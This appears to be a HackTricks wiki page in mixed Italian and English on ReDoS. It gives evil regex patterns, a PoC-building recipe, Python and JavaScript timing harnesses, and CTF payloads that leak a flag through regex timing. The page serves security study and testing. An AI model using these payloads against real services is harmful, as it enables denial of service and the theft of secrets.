Regular expression Denial of Service - ReDoS

Reading time: 7 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Regular Expression Denial of Service (ReDoS)

Una Regular Expression Denial of Service (ReDoS) si verifica quando qualcuno sfrutta delle debolezze nel funzionamento delle regular expression (un modo per cercare e confrontare pattern nel testo). A volte, quando si usano le regular expression, queste possono diventare molto lente, specialmente se il testo su cui lavorano aumenta. Questa lentezza può peggiorare al punto da crescere molto rapidamente anche con piccoli aumenti della dimensione del testo. Gli attaccanti possono sfruttare questo problema per far sì che un programma che usa regular expression smetta di funzionare correttamente per lungo tempo.

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Engine behavior and exploitability

  • La maggior parte degli engine più diffusi (PCRE, Java java.util.regex, Python re, JavaScript RegExp) usa una VM a backtracking. Input costruiti ad arte che creano molteplici modi sovrapposti per matchare un sottopattern costringono il backtracking a comportamenti esponenziali o di alto grado polinomiale.
  • Alcuni engine/librerie sono progettati per essere ReDoS-resilient per costruzione (nessun backtracking), p.es. RE2 e porting basati su automi finiti che garantiscono tempo lineare nel caso peggiore; usarli per input non affidabili rimuove la primitiva DoS basata sul backtracking. Vedi le referenze alla fine per i dettagli.

Evil Regexes

Un pattern di regular expression è "evil" quando può rimanere bloccato su input costruiti ad arte causando un DoS. I pattern evil tipicamente contengono grouping con ripetizione e ripetizioni o alternazioni con sovrapposizioni all'interno del gruppo ripetuto. Alcuni esempi di pattern evil includono:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

Tutti quelli sono vulnerabili all'input aaaaaaaaaaaaaaaaaaaaaaaa!.

Practical recipe to build PoCs

La maggior parte dei casi catastrofici segue questa forma:

  • Prefisso che ti porta nel sottopattern vulnerabile (opzionale).
  • Lunga sequenza di un carattere che provoca match ambigui all'interno di quantificatori nidificati/sovrapposti (p.es., molti a, _, o spazi).
  • Un carattere finale che forza il fallimento complessivo in modo che l'engine debba fare backtrack su tutte le possibilità (spesso un carattere che non corrisponde all'ultimo token, come !).

Esempi minimi:

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

Aumenta N e osserva una crescita superlineare.

Quick timing harness (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

In un CTF (o bug bounty) potresti controllare la Regex con cui viene confrontata un'informazione sensibile (la flag). Allora, potrebbe essere utile far congelare la pagina (timeout o tempo di elaborazione più lungo) se la Regex corrisponde e non quando non corrisponde. In questo modo potrai exfiltrate la stringa char by char:

  • In this post you can find this ReDoS rule: ^(?=<flag>)((.*)*)*salt$
  • Example: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • In this writeup you can find this one:<flag>(((((((.*)*)*)*)*)*)*)!
  • In this writeup he used: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

The following are ReDoS examples where you control both the input and the regex:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Note su linguaggi/motori per attackers

  • JavaScript (browser/Node): Il RegExp integrato è un motore di backtracking e viene comunemente sfruttato quando regex+input sono influenzati dall'attacker.
  • Python: re usa backtracking. Lunghe sequenze ambigue insieme a una coda che fallisce spesso causano backtracking catastrofico.
  • Java: java.util.regex usa backtracking. Se controlli solo l'input, cerca endpoint che usano validator complessi; se controlli i pattern (es. regole memorizzate), ReDoS è di solito banale.
  • Engines such as RE2/RE2J/RE2JS or the Rust regex crate are designed to avoid catastrophic backtracking. If you hit these, focus on other bottlenecks (e.g., enormous patterns) or find components still using backtracking engines.

Strumenti

Suggerimento: Quando controlli solo l'input, genera stringhe con lunghezze che raddoppiano (es. 2^k caratteri) e monitora la latenza. Una crescita esponenziale indica con forza un ReDoS sfruttabile.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks